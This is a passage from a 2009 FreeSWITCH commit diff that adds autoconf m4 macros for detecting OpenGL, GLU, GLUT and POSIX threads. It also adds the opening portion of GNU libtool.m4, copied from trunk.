+    [AC_LANG_PROGRAM([[
+# if HAVE_WINDOWS_H && defined(_WIN32)
+#   include <windows.h>
+# endif
+# include <GL/gl.h>]],
+                     [[glBegin(0)]])],
+    [ax_cv_check_gl_libgl="${ax_try_lib}"; break])
+  done
+  LIBS=${ax_save_LIBS}
+  CPPFLAGS=${ax_save_CPPFLAGS}])
+
+  if test "X${ax_cv_check_gl_libgl}" = "Xno"; then
+    no_gl="yes"
+    GL_CFLAGS=""
+    GL_LIBS=""
+  else
+    GL_LIBS="${ax_cv_check_gl_libgl} ${GL_LIBS}"
+  fi
+  AC_LANG_POP(C)
+fi
+
+AC_SUBST([GL_CFLAGS])
+AC_SUBST([GL_LIBS])
+])dnl
+
+dnl ---------------------------------------------------------------------------
+dnl Available from the GNU Autoconf Macro Archive at:
+dnl http://www.gnu.org/software/ac-archive/ax_check_glu.html
+dnl ---------------------------------------------------------------------------
+
+dnl @synopsis AX_CHECK_GLU
+dnl
+dnl Check for GLU. If GLU is found, the required preprocessor and
+dnl linker flags are included in the output variables "GLU_CFLAGS" and
+dnl "GLU_LIBS", respectively. This macro adds the configure option
+dnl "--with-apple-opengl-framework", which users can use to indicate
+dnl that Apple's OpenGL framework should be used on Mac OS X. If
+dnl Apple's OpenGL framework is used, the symbol
+dnl "HAVE_APPLE_OPENGL_FRAMEWORK" is defined. If no GLU implementation
+dnl is found, "no_glu" is set to "yes".
+dnl
+dnl @category InstalledPackages
+dnl @author Braden McDaniel <braden@endoframe.com>
+dnl @version 2004-11-15
+dnl @license AllPermissive
+
+AC_DEFUN([AX_CHECK_GLU],
+[AC_REQUIRE([AX_CHECK_GL])dnl
+AC_REQUIRE([AC_PROG_CXX])dnl
+GLU_CFLAGS="${GL_CFLAGS}"
+if test "X${with_apple_opengl_framework}" != "Xyes"; then
+  AC_CACHE_CHECK([for OpenGL Utility library], [ax_cv_check_glu_libglu],
+  [ax_cv_check_glu_libglu="no"
+  ax_save_CPPFLAGS="${CPPFLAGS}"
+  CPPFLAGS="${GL_CFLAGS} ${CPPFLAGS}"
+  ax_save_LIBS="${LIBS}"
+  LIBS=""
+  ax_check_libs="-lglu32 -lGLU"
+  for ax_lib in ${ax_check_libs}; do
+    if test X$ax_compiler_ms = Xyes; then
+      ax_try_lib=`echo $ax_lib | sed -e 's/^-l//' -e 's/$/.lib/'`
+    else
+      ax_try_lib="${ax_lib}"
+    fi
+    LIBS="${ax_try_lib} ${GL_LIBS} ${ax_save_LIBS}"
+    #
+    # libGLU typically links with libstdc++ on POSIX platforms. However,
+    # setting the language to C++ means that test program source is named
+    # "conftest.cc"; and Microsoft cl doesn't know what to do with such a
+    # file.
+    #
+    AC_LANG_PUSH([C++])
+    if test X$ax_compiler_ms = Xyes; then
+      AC_LANG_PUSH([C])
+    fi
+    AC_LINK_IFELSE(
+    [AC_LANG_PROGRAM([[
+# if HAVE_WINDOWS_H && defined(_WIN32)
+#   include <windows.h>
+# endif
+# include <GL/glu.h>]],
+                     [[gluBeginCurve(0)]])],
+    [ax_cv_check_glu_libglu="${ax_try_lib}"; break])
+    if test X$ax_compiler_ms = Xyes; then
+      AC_LANG_POP([C])
+    fi
+    AC_LANG_POP([C++])
+  done
+  LIBS=${ax_save_LIBS}
+  CPPFLAGS=${ax_save_CPPFLAGS}])
+  if test "X${ax_cv_check_glu_libglu}" = "Xno"; then
+    no_glu="yes"
+    GLU_CFLAGS=""
+    GLU_LIBS=""
+  else
+    GLU_LIBS="${ax_cv_check_glu_libglu} ${GL_LIBS}"
+  fi
+fi
+AC_SUBST([GLU_CFLAGS])
+AC_SUBST([GLU_LIBS])
+])
+
+dnl ---------------------------------------------------------------------------
+dnl Available from the GNU Autoconf Macro Archive at:
+dnl http://www.gnu.org/software/ac-archive/ax_check_glut.html
+dnl ---------------------------------------------------------------------------
+
+dnl @synopsis AX_CHECK_GLUT
+dnl
+dnl Check for GLUT. If GLUT is found, the required compiler and linker
+dnl flags are included in the output variables "GLUT_CFLAGS" and
+dnl "GLUT_LIBS", respectively. This macro adds the configure option
+dnl "--with-apple-opengl-framework", which users can use to indicate
+dnl that Apple's OpenGL framework should be used on Mac OS X. If
+dnl Apple's OpenGL framework is used, the symbol
+dnl "HAVE_APPLE_OPENGL_FRAMEWORK" is defined. If GLUT is not found,
+dnl "no_glut" is set to "yes".
+dnl
+dnl @category InstalledPackages
+dnl @author Braden McDaniel <braden@endoframe.com>
+dnl @version 2004-11-15
+dnl @license AllPermissive
+
+AC_DEFUN([AX_CHECK_GLUT],
+[AC_REQUIRE([AX_CHECK_GLU])dnl
+AC_REQUIRE([AC_PATH_XTRA])dnl
+
+if test "X$with_apple_opengl_framework" = "Xyes"; then
+  GLUT_CFLAGS="${GLU_CFLAGS}"
+  GLUT_LIBS="-framework GLUT -lobjc ${GL_LIBS}"
+else
+  GLUT_CFLAGS=${GLU_CFLAGS}
+  GLUT_LIBS=${GLU_LIBS}
+
+  #
+  # If X is present, assume GLUT depends on it.
+  #
+  if test "X${no_x}" != "Xyes"; then
+    GLUT_LIBS="${X_PRE_LIBS} -lXmu -lXi ${X_EXTRA_LIBS} ${GLUT_LIBS}"
+  fi
+
+  AC_LANG_PUSH(C)
+
+  ax_save_CPPFLAGS="${CPPFLAGS}"
+  CPPFLAGS="${GLUT_CFLAGS} ${CPPFLAGS}"
+
+  AC_CACHE_CHECK([for GLUT library], [ax_cv_check_glut_libglut],
+  [ax_cv_check_glut_libglut="no"
+  ax_save_LIBS="${LIBS}"
+  LIBS=""
+  ax_check_libs="-lglut32 -lglut"
+  for ax_lib in ${ax_check_libs}; do
+    if test X$ax_compiler_ms = Xyes; then
+      ax_try_lib=`echo $ax_lib | sed -e 's/^-l//' -e 's/$/.lib/'`
+    else
+      ax_try_lib="${ax_lib}"
+    fi
+    LIBS="${ax_try_lib} ${GLUT_LIBS} ${ax_save_LIBS}"
+    AC_LINK_IFELSE(
+    [AC_LANG_PROGRAM([[
+# if HAVE_WINDOWS_H && defined(_WIN32)
+#   include <windows.h>
+# endif
+# include <GL/glut.h>]],
+                     [[glutMainLoop()]])],
+    [ax_cv_check_glut_libglut="${ax_try_lib}"; break])
+
+  done
+  LIBS=${ax_save_LIBS}
+  ])
+  CPPFLAGS="${ax_save_CPPFLAGS}"
+  AC_LANG_POP(C)
+
+  if test "X${ax_cv_check_glut_libglut}" = "Xno"; then
+    no_glut="yes"
+    GLUT_CFLAGS=""
+    GLUT_LIBS=""
+  else
+    GLUT_LIBS="${ax_cv_check_glut_libglut} ${GLUT_LIBS}"
+  fi
+fi
+
+AC_SUBST([GLUT_CFLAGS])
+AC_SUBST([GLUT_LIBS])
+])dnl
+
+dnl ---------------------------------------------------------------------------
+dnl Available from the GNU Autoconf Macro Archive at:
+dnl http://www.gnu.org/software/ac-archive/acx_pthread.html
+dnl ---------------------------------------------------------------------------
+
+dnl @synopsis ACX_PTHREAD([ACTION-IF-FOUND[, ACTION-IF-NOT-FOUND]])
+dnl
+dnl This macro figures out how to build C programs using POSIX threads.
+dnl It sets the PTHREAD_LIBS output variable to the threads library and
+dnl linker flags, and the PTHREAD_CFLAGS output variable to any special
+dnl C compiler flags that are needed. (The user can also force certain
+dnl compiler flags/libs to be tested by setting these environment
+dnl variables.)
+dnl
+dnl Also sets PTHREAD_CC to any special C compiler that is needed for
+dnl multi-threaded programs (defaults to the value of CC otherwise).
+dnl (This is necessary on AIX to use the special cc_r compiler alias.)
+dnl
+dnl NOTE: You are assumed to not only compile your program with these
+dnl flags, but also link it with them as well. e.g. you should link
+dnl with $PTHREAD_CC $CFLAGS $PTHREAD_CFLAGS $LDFLAGS ... $PTHREAD_LIBS
+dnl $LIBS
+dnl
+dnl If you are only building threads programs, you may wish to use
+dnl these variables in your default LIBS, CFLAGS, and CC:
+dnl
+dnl        LIBS="$PTHREAD_LIBS $LIBS"
+dnl        CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+dnl        CC="$PTHREAD_CC"
+dnl
+dnl In addition, if the PTHREAD_CREATE_JOINABLE thread-attribute
+dnl constant has a nonstandard name, defines PTHREAD_CREATE_JOINABLE to
+dnl that name (e.g. PTHREAD_CREATE_UNDETACHED on AIX).
+dnl
+dnl ACTION-IF-FOUND is a list of shell commands to run if a threads
+dnl library is found, and ACTION-IF-NOT-FOUND is a list of commands to
+dnl run it if it is not found. If ACTION-IF-FOUND is not specified, the
+dnl default action will define HAVE_PTHREAD.
+dnl
+dnl Please let the authors know if this macro fails on any platform, or
+dnl if you have any other suggestions or comments. This macro was based
+dnl on work by SGJ on autoconf scripts for FFTW (www.fftw.org) (with
+dnl help from M. Frigo), as well as ac_pthread and hb_pthread macros
+dnl posted by Alejandro Forero Cuervo to the autoconf macro repository.
+dnl We are also grateful for the helpful feedback of numerous users.
+dnl
+dnl @category InstalledPackages
+dnl @author Steven G. Johnson <stevenj@alum.mit.edu>
+dnl @version 2005-01-14
+dnl @license GPLWithACException
+
+AC_DEFUN([ACX_PTHREAD], [
+AC_REQUIRE([AC_CANONICAL_HOST])
+AC_LANG_SAVE
+AC_LANG_C
+acx_pthread_ok=no
+
+# We used to check for pthread.h first, but this fails if pthread.h
+# requires special compiler flags (e.g. on True64 or Sequent).
+# It gets checked for in the link test anyway.
+
+# First of all, check if the user has set any of the PTHREAD_LIBS,
+# etcetera environment variables, and if threads linking works using
+# them:
+if test x"$PTHREAD_LIBS$PTHREAD_CFLAGS" != x; then
+        save_CFLAGS="$CFLAGS"
+        CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+        save_LIBS="$LIBS"
+        LIBS="$PTHREAD_LIBS $LIBS"
+        AC_MSG_CHECKING([for pthread_join in LIBS=$PTHREAD_LIBS with CFLAGS=$PTHREAD_CFLAGS])
+        AC_TRY_LINK_FUNC(pthread_join, acx_pthread_ok=yes)
+        AC_MSG_RESULT($acx_pthread_ok)
+        if test x"$acx_pthread_ok" = xno; then
+                PTHREAD_LIBS=""
+                PTHREAD_CFLAGS=""
+        fi
+        LIBS="$save_LIBS"
+        CFLAGS="$save_CFLAGS"
+fi
+
+# We must check for the threads library under a number of different
+# names; the ordering is very important because some systems
+# (e.g. DEC) have both -lpthread and -lpthreads, where one of the
+# libraries is broken (non-POSIX).
+
+# Create a list of thread flags to try.  Items starting with a "-" are
+# C compiler flags, and other items are library names, except for "none"
+# which indicates that we try without any flags at all, and "pthread-config"
+# which is a program returning the flags for the Pth emulation library.
+
+acx_pthread_flags="pthreads none -Kthread -kthread lthread -pthread -pthreads -mthreads pthread --thread-safe -mt pthread-config"
+
+# The ordering *is* (sometimes) important.  Some notes on the
+# individual items follow:
+
+# pthreads: AIX (must check this before -lpthread)
+# none: in case threads are in libc; should be tried before -Kthread and
+#       other compiler flags to prevent continual compiler warnings
+# -Kthread: Sequent (threads in libc, but -Kthread needed for pthread.h)
+# -kthread: FreeBSD kernel threads (preferred to -pthread since SMP-able)
+# lthread: LinuxThreads port on FreeBSD (also preferred to -pthread)
+# -pthread: Linux/gcc (kernel threads), BSD/gcc (userland threads)
+# -pthreads: Solaris/gcc
+# -mthreads: Mingw32/gcc, Lynx/gcc
+# -mt: Sun Workshop C (may only link SunOS threads [-lthread], but it
+#      doesn't hurt to check since this sometimes defines pthreads too;
+#      also defines -D_REENTRANT)
+# pthread: Linux, etcetera
+# --thread-safe: KAI C++
+# pthread-config: use pthread-config program (for GNU Pth library)
+
+case "${host_cpu}-${host_os}" in
+        *solaris*)
+
+        # On Solaris (at least, for some versions), libc contains stubbed
+        # (non-functional) versions of the pthreads routines, so link-based
+        # tests will erroneously succeed.  (We need to link with -pthread or
+        # -lpthread.)  (The stubs are missing pthread_cleanup_push, or rather
+        # a function called by this macro, so we could check for that, but
+        # who knows whether they'll stub that too in a future libc.)  So,
+        # we'll just look for -pthreads and -lpthread first:
+
+        acx_pthread_flags="-pthread -pthreads pthread -mt $acx_pthread_flags"
+        ;;
+esac
+
+if test x"$acx_pthread_ok" = xno; then
+for flag in $acx_pthread_flags; do
+
+        case $flag in
+                none)
+                AC_MSG_CHECKING([whether pthreads work without any flags])
+                ;;
+
+                -*)
+                AC_MSG_CHECKING([whether pthreads work with $flag])
+                PTHREAD_CFLAGS="$flag"
+                ;;
+
+		pthread-config)
+		AC_CHECK_PROG(acx_pthread_config, pthread-config, yes, no)
+		if test x"$acx_pthread_config" = xno; then continue; fi
+		PTHREAD_CFLAGS="`pthread-config --cflags`"
+		PTHREAD_LIBS="`pthread-config --ldflags` `pthread-config --libs`"
+		;;
+
+                *)
+                AC_MSG_CHECKING([for the pthreads library -l$flag])
+                PTHREAD_LIBS="-l$flag"
+                ;;
+        esac
+
+        save_LIBS="$LIBS"
+        save_CFLAGS="$CFLAGS"
+        LIBS="$PTHREAD_LIBS $LIBS"
+        CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+
+        # Check for various functions.  We must include pthread.h,
+        # since some functions may be macros.  (On the Sequent, we
+        # need a special flag -Kthread to make this header compile.)
+        # We check for pthread_join because it is in -lpthread on IRIX
+        # while pthread_create is in libc.  We check for pthread_attr_init
+        # due to DEC craziness with -lpthreads.  We check for
+        # pthread_cleanup_push because it is one of the few pthread
+        # functions on Solaris that doesn't have a non-functional libc stub.
+        # We try pthread_create on general principles.
+        AC_TRY_LINK([#include <pthread.h>],
+                    [pthread_t th; pthread_join(th, 0);
+                     pthread_attr_init(0); pthread_cleanup_push(0, 0);
+                     pthread_create(0,0,0,0); pthread_cleanup_pop(0); ],
+                    [acx_pthread_ok=yes])
+
+        LIBS="$save_LIBS"
+        CFLAGS="$save_CFLAGS"
+
+        AC_MSG_RESULT($acx_pthread_ok)
+        if test "x$acx_pthread_ok" = xyes; then
+                break;
+        fi
+
+        PTHREAD_LIBS=""
+        PTHREAD_CFLAGS=""
+done
+fi
+
+# Various other checks:
+if test "x$acx_pthread_ok" = xyes; then
+        save_LIBS="$LIBS"
+        LIBS="$PTHREAD_LIBS $LIBS"
+        save_CFLAGS="$CFLAGS"
+        CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+
+        # Detect AIX lossage: JOINABLE attribute is called UNDETACHED.
+	AC_MSG_CHECKING([for joinable pthread attribute])
+	attr_name=unknown
+	for attr in PTHREAD_CREATE_JOINABLE PTHREAD_CREATE_UNDETACHED; do
+	    AC_TRY_LINK([#include <pthread.h>], [int attr=$attr;],
+                        [attr_name=$attr; break])
+	done
+        AC_MSG_RESULT($attr_name)
+        if test "$attr_name" != PTHREAD_CREATE_JOINABLE; then
+            AC_DEFINE_UNQUOTED(PTHREAD_CREATE_JOINABLE, $attr_name,
+                               [Define to necessary symbol if this constant
+                                uses a non-standard name on your system.])
+        fi
+
+        AC_MSG_CHECKING([if more special flags are required for pthreads])
+        flag=no
+        case "${host_cpu}-${host_os}" in
+            *-aix* | *-freebsd* | *-darwin*) flag="-D_THREAD_SAFE";;
+            *solaris* | *-osf* | *-hpux*) flag="-D_REENTRANT";;
+        esac
+        AC_MSG_RESULT(${flag})
+        if test "x$flag" != xno; then
+            PTHREAD_CFLAGS="$flag $PTHREAD_CFLAGS"
+        fi
+
+        LIBS="$save_LIBS"
+        CFLAGS="$save_CFLAGS"
+
+        # More AIX lossage: must compile with cc_r
+        AC_CHECK_PROG(PTHREAD_CC, cc_r, cc_r, ${CC})
+else
+        PTHREAD_CC="$CC"
+fi
+
+AC_SUBST(PTHREAD_LIBS)
+AC_SUBST(PTHREAD_CFLAGS)
+AC_SUBST(PTHREAD_CC)
+
+# Finally, execute ACTION-IF-FOUND/ACTION-IF-NOT-FOUND:
+if test x"$acx_pthread_ok" = xyes; then
+        ifelse([$1],,AC_DEFINE(HAVE_PTHREAD,1,[Define if you have POSIX threads libraries and header files.]),[$1])
+        :
+else
+        acx_pthread_ok=no
+        $2
+fi
+AC_LANG_RESTORE
+])dnl ACX_PTHREAD

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/m4/libtool.m4

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/m4/libtool.m4 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/m4/libtool.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/m4/libtool.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/m4/libtool.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6883 @@
+# libtool.m4 - Configure libtool for the host system. -*-Autoconf-*-
+#
+# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+# 2006 Free Software Foundation, Inc.
+#
+# This file is part of GNU Libtool:
+# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
+#
+# This file is free software; the Free Software Foundation gives
+# unlimited permission to copy and/or distribute it, with or without
+# modifications, as long as this notice is preserved.
+
+m4_define([_LT_COPYING], [dnl
+# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+# 2006 Free Software Foundation, Inc.
+#
+# This file is part of GNU Libtool:
+# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+#
+# As a special exception to the GNU General Public License, if you
+# distribute this file as part of a program that contains a
+# configuration script generated by Autoconf, you may include it under
+# the same distribution terms that you use for the rest of that program.
+])
+
+# serial 51 LT_INIT
+
+
+# LT_PREREQ(VERSION)
+# ------------------
+# Complain and exit if this libtool version is less that VERSION.
+m4_defun([LT_PREREQ],
+[m4_if(m4_version_compare(m4_defn([LT_PACKAGE_VERSION]), [$1]), -1,
+       [m4_default([$3],
+		   [m4_fatal([Libtool version $1 or higher is required],
+		             63)])],
+       [$2])])
+
+
+# LT_INIT([OPTIONS])
+# ------------------
+AC_DEFUN([LT_INIT],
+[AC_PREREQ([2.58])dnl We use AC_INCLUDES_DEFAULT
+AC_BEFORE([$0], [LT_LANG])dnl
+AC_BEFORE([$0], [LT_OUTPUT])dnl
+
+dnl Autoconf doesn't catch unexpanded LT_ macros by default:
+m4_pattern_forbid([^_?LT_[A-Z_]+$])dnl
+m4_pattern_allow([^(_LT_EOF|LT_DLGLOBAL|LT_DLLAZY_OR_NOW|LT_MULTI_MODULE)$])dnl
+dnl aclocal doesn't pull ltoptions.m4, ltsugar.m4, or ltversion.m4
+dnl unless we require an AC_DEFUNed macro:
+AC_REQUIRE([LTOPTIONS_VERSION])dnl
+AC_REQUIRE([LTSUGAR_VERSION])dnl
+AC_REQUIRE([LTVERSION_VERSION])dnl
+m4_require([_LT_PROG_LTMAIN])dnl
+m4_require([_LT_SET_OPTIONS], [_LT_SET_OPTIONS([$1])])dnl
+
+# This can be used to rebuild libtool when needed
+LIBTOOL_DEPS="$ltmain"
+
+# Always use our own libtool.
+LIBTOOL='$(SHELL) $(top_builddir)/libtool'
+AC_SUBST(LIBTOOL)dnl
+
+_LT_SETUP
+
+# Only expand once:
+m4_define([LT_INIT])
+])# _LT_INIT
+
+# Old names:
+AU_ALIAS([AC_PROG_LIBTOOL], [LT_INIT])
+AU_ALIAS([AM_PROG_LIBTOOL], [LT_INIT])
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_PROG_LIBTOOL], [])
+dnl AC_DEFUN([AM_PROG_LIBTOOL], [])
+
+
+# _LT_CC_BASENAME(CC)
+# -------------------
+# Calculate cc_basename.  Skip known compiler wrappers and cross-prefix.
+m4_defun([_LT_CC_BASENAME],
+[for cc_temp in $1""; do
+  case $cc_temp in
+    compile | *[[\\/]]compile | ccache | *[[\\/]]ccache ) ;;
+    distcc | *[[\\/]]distcc | purify | *[[\\/]]purify ) ;;
+    \-*) ;;
+    *) break;;
+  esac
+done
+cc_basename=`$ECHO "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
+])
+
+
+# _LT_FILEUTILS_DEFAULTS
+# ----------------------
+# It is okay to use these file commands and assume they have been set
+# sensibly after `m4_require([_LT_FILEUTILS_DEFAULTS])'.
+m4_defun([_LT_FILEUTILS_DEFAULTS],
+[: ${CP="cp -f"}
+: ${MV="mv -f"}
+: ${RM="rm -f"}
+])# _LT_FILEUTILS_DEFAULTS
+
+
+# _LT_SETUP
+# ---------
+m4_defun([_LT_SETUP],
+[AC_REQUIRE([AC_CANONICAL_HOST])dnl
+AC_REQUIRE([AC_CANONICAL_BUILD])dnl
+_LT_DECL([], [host_alias], [0], [The host system])dnl
+_LT_DECL([], [host], [0])dnl
+_LT_DECL([], [host_os], [0])dnl
+dnl
+_LT_DECL([], [build_alias], [0], [The build system])dnl
+_LT_DECL([], [build], [0])dnl
+_LT_DECL([], [build_os], [0])dnl
+dnl
+AC_REQUIRE([AC_PROG_CC])dnl
+AC_REQUIRE([LT_PATH_LD])dnl
+AC_REQUIRE([LT_PATH_NM])dnl
+dnl
+AC_REQUIRE([AC_PROG_LN_S])dnl
+test -z "$LN_S" && LN_S="ln -s"
+_LT_DECL([], [LN_S], [1], [Whether we need soft or hard links])dnl
+dnl
+AC_REQUIRE([LT_CMD_MAX_LEN])dnl
+AC_REQUIRE([AC_OBJEXT])dnl
+_LT_DECL([objext], [ac_objext], [0], [Object file suffix (normally "o")])dnl
+AC_REQUIRE([AC_EXEEXT])dnl
+_LT_DECL([], [exeext], [0], [Executable file suffix (normally "")])dnl
+dnl
+m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+m4_require([_LT_CHECK_XSI_SHELL])dnl
+m4_require([_LT_CMD_RELOAD])dnl
+m4_require([_LT_CHECK_MAGIC_METHOD])dnl
+m4_require([_LT_CMD_OLD_ARCHIVE])dnl
+m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl
+
+_LT_CONFIG_LIBTOOL_INIT([
+# See if we are running on zsh, and set the options which allow our
+# commands through without removal of \ escapes INIT.
+if test -n "\${ZSH_VERSION+set}" ; then
+   setopt NO_GLOB_SUBST
+fi
+])
+if test -n "${ZSH_VERSION+set}" ; then
+   setopt NO_GLOB_SUBST
+fi
+
+_LT_CHECK_OBJDIR
+
+m4_require([_LT_TAG_COMPILER])dnl
+_LT_PROG_ECHO_BACKSLASH
+
+case $host_os in
+aix3*)
+  # AIX sometimes has problems with the GCC collect2 program.  For some
+  # reason, if we set the COLLECT_NAMES environment variable, the problems
+  # vanish in a puff of smoke.
+  if test "X${COLLECT_NAMES+set}" != Xset; then
+    COLLECT_NAMES=
+    export COLLECT_NAMES
+  fi
+  ;;
+esac
+
+# Sed substitution that helps us do robust quoting.  It backslashifies
+# metacharacters that are still active within double-quoted strings.
+Xsed='sed -e 1s/^X//'
+sed_quote_subst='s/\([["`$\\]]\)/\\\1/g'
+
+# Same as above, but do not quote variable references.
+double_quote_subst='s/\([["`\\]]\)/\\\1/g'
+
+# Sed substitution to delay expansion of an escaped shell variable in a
+# double_quote_subst'ed string.
+delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g'
+
+# Sed substitution to delay expansion of an escaped single quote.
+delay_single_quote_subst='s/'\''/'\'\\\\\\\'\''/g'
+
+# Sed substitution to avoid accidental globbing in evaled expressions
+no_glob_subst='s/\*/\\\*/g'
+
+# Global variables:
+ofile=libtool
+can_build_shared=yes
+
+# All known linkers require a `.a' archive for static linking (except MSVC,
+# which needs '.lib').
+libext=a
+
+with_gnu_ld="$lt_cv_prog_gnu_ld"
+
+old_CC="$CC"
+old_CFLAGS="$CFLAGS"
+
+# Set sane defaults for various variables
+test -z "$CC" && CC=cc
+test -z "$LTCC" && LTCC=$CC
+test -z "$LTCFLAGS" && LTCFLAGS=$CFLAGS
+test -z "$LD" && LD=ld
+test -z "$ac_objext" && ac_objext=o
+
+_LT_CC_BASENAME([$compiler])
+
+# Only perform the check for file, if the check method requires it
+test -z "$MAGIC_CMD" && MAGIC_CMD=file
+case $deplibs_check_method in
+file_magic*)
+  if test "$file_magic_cmd" = '$MAGIC_CMD'; then
+    _LT_PATH_MAGIC
+  fi
+  ;;
+esac
+
+# Use C for the default configuration in the libtool script
+LT_SUPPORTED_TAG([CC])
+_LT_LANG_C_CONFIG
+_LT_LANG_DEFAULT_CONFIG
+_LT_CONFIG_COMMANDS
+])# _LT_SETUP
+
+
+# _LT_PROG_LTMAIN
+# ---------------
+# Note that this code is called both from `configure', and `config.status'
+# now that we use AC_CONFIG_COMMANDS to generate libtool.  Notably,
+# `config.status' has no value for ac_aux_dir unless we are using Automake,
+# so we pass a copy along to make sure it has a sensible value anyway.
+m4_defun([_LT_PROG_LTMAIN],
+[m4_ifdef([AC_REQUIRE_AUX_FILE], [AC_REQUIRE_AUX_FILE([ltmain.sh])])dnl
+_LT_CONFIG_LIBTOOL_INIT([ac_aux_dir='$ac_aux_dir'])
+ltmain="$ac_aux_dir/ltmain.sh"
+])# _LT_PROG_LTMAIN
+
+
+## ------------------------------------- ##
+## Accumulate code for creating libtool. ##
+## ------------------------------------- ##
+
+# So that we can recreate a full libtool script including additional
+# tags, we accumulate the chunks of code to send to AC_CONFIG_COMMANDS
+# in macros and then make a single call at the end using the `libtool'
+# label.
+
+
+# _LT_CONFIG_LIBTOOL_INIT([INIT-COMMANDS])
+# ----------------------------------------
+# Register INIT-COMMANDS to be passed to AC_CONFIG_COMMANDS later.
+m4_define([_LT_CONFIG_LIBTOOL_INIT],
+[m4_ifval([$1],
+          [m4_append([_LT_OUTPUT_LIBTOOL_INIT],
+                     [$1
+])])])
+
+# Initialize.
+m4_define([_LT_OUTPUT_LIBTOOL_INIT])
+
+
+# _LT_CONFIG_LIBTOOL([COMMANDS])
+# ------------------------------
+# Register COMMANDS to be passed to AC_CONFIG_COMMANDS later.
+m4_define([_LT_CONFIG_LIBTOOL],
+[m4_ifval([$1],
+          [m4_append([_LT_OUTPUT_LIBTOOL_COMMANDS],
+                     [$1
+])])])
+
+# Initialize.
+m4_define([_LT_OUTPUT_LIBTOOL_COMMANDS])
+
+
+# _LT_CONFIG_SAVE_COMMANDS([COMMANDS], [INIT_COMMANDS])
+# -----------------------------------------------------
+m4_defun([_LT_CONFIG_SAVE_COMMANDS],
+[_LT_CONFIG_LIBTOOL([$1])
+_LT_CONFIG_LIBTOOL_INIT([$2])
+])
+
+
+# _LT_FORMAT_COMMENT([COMMENT])
+# -----------------------------
+# Add leading comment marks to the start of each line, and a trailing
+# full-stop to the whole comment if one is not present already.
+m4_define([_LT_FORMAT_COMMENT],
+[m4_ifval([$1], [
+m4_bpatsubst([m4_bpatsubst([$1], [^ *], [# ])],
+              [['`$\]], [\\\&])]m4_bmatch([$1], [[!?.]$], [], [.])
+)])
+
+
+
+## ------------------------ ##
+## FIXME: Eliminate VARNAME ##
+## ------------------------ ##
+
+
+# _LT_DECL([CONFIGNAME], VARNAME, VALUE, [DESCRIPTION], [IS-TAGGED?])
+# -------------------------------------------------------------------
+# CONFIGNAME is the name given to the value in the libtool script.
+# VARNAME is the (base) name used in the configure script.
+# VALUE may be 0, 1 or 2 for a computed quote escaped value based on
+# VARNAME.  Any other value will be used directly.
+m4_define([_LT_DECL],
+[lt_if_append_uniq([lt_decl_varnames], [$2], [[, ]],
+    [lt_dict_add_subkey([lt_decl_dict], [$2], [libtool_name],
+	[m4_ifval([$1], [$1], [$2])])
+    lt_dict_add_subkey([lt_decl_dict], [$2], [value], [$3])
+    m4_ifval([$4],
+	[lt_dict_add_subkey([lt_decl_dict], [$2], [description], [$4])])
+    lt_dict_add_subkey([lt_decl_dict], [$2],
+	[tagged?], [m4_ifval([$5], [yes], [no])])])
+])
+
+
+# _LT_TAGDECL([CONFIGNAME], VARNAME, VALUE, [DESCRIPTION])
+# --------------------------------------------------------
+m4_define([_LT_TAGDECL], [_LT_DECL([$1], [$2], [$3], [$4], [yes])])
+
+
+# lt_decl_tag_varnames([SEPARATOR], [VARNAME1...])
+# ------------------------------------------------
+m4_define([lt_decl_tag_varnames],
+[_lt_decl_filter([tagged?], [yes], $@)])
+
+
+# _lt_decl_filter(SUBKEY, VALUE, [SEPARATOR], [VARNAME1..])
+# ---------------------------------------------------------
+m4_define([_lt_decl_filter],
+[m4_case([$#],
+  [0], [m4_fatal([$0: too few arguments: $#])],
+  [1], [m4_fatal([$0: too few arguments: $#: $1])],
+  [2], [lt_dict_filter([lt_decl_dict], [$1], [$2], [], lt_decl_varnames)],
+  [3], [lt_dict_filter([lt_decl_dict], [$1], [$2], [$3], lt_decl_varnames)],
+  [lt_dict_filter([lt_decl_dict], $@)])[]dnl
+])
+
+
+# lt_decl_quote_varnames([SEPARATOR], [VARNAME1...])
+# --------------------------------------------------
+m4_define([lt_decl_quote_varnames],
+[_lt_decl_filter([value], [1], $@)])
+
+
+# lt_decl_dquote_varnames([SEPARATOR], [VARNAME1...])
+# ---------------------------------------------------
+m4_define([lt_decl_dquote_varnames],
+[_lt_decl_filter([value], [2], $@)])
+
+
+# lt_decl_varnames_tagged([SEPARATOR], [VARNAME1...])
+# ---------------------------------------------------
+m4_define([lt_decl_varnames_tagged],
+[_$0(m4_quote(m4_default([$1], [[, ]])),
+     m4_quote(m4_if([$2], [],
+		     m4_quote(lt_decl_tag_varnames),
+		  m4_quote(m4_shift($@)))),
+     m4_split(m4_normalize(m4_quote(_LT_TAGS))))])
+m4_define([_lt_decl_varnames_tagged], [lt_combine([$1], [$2], [_], $3)])
+
+
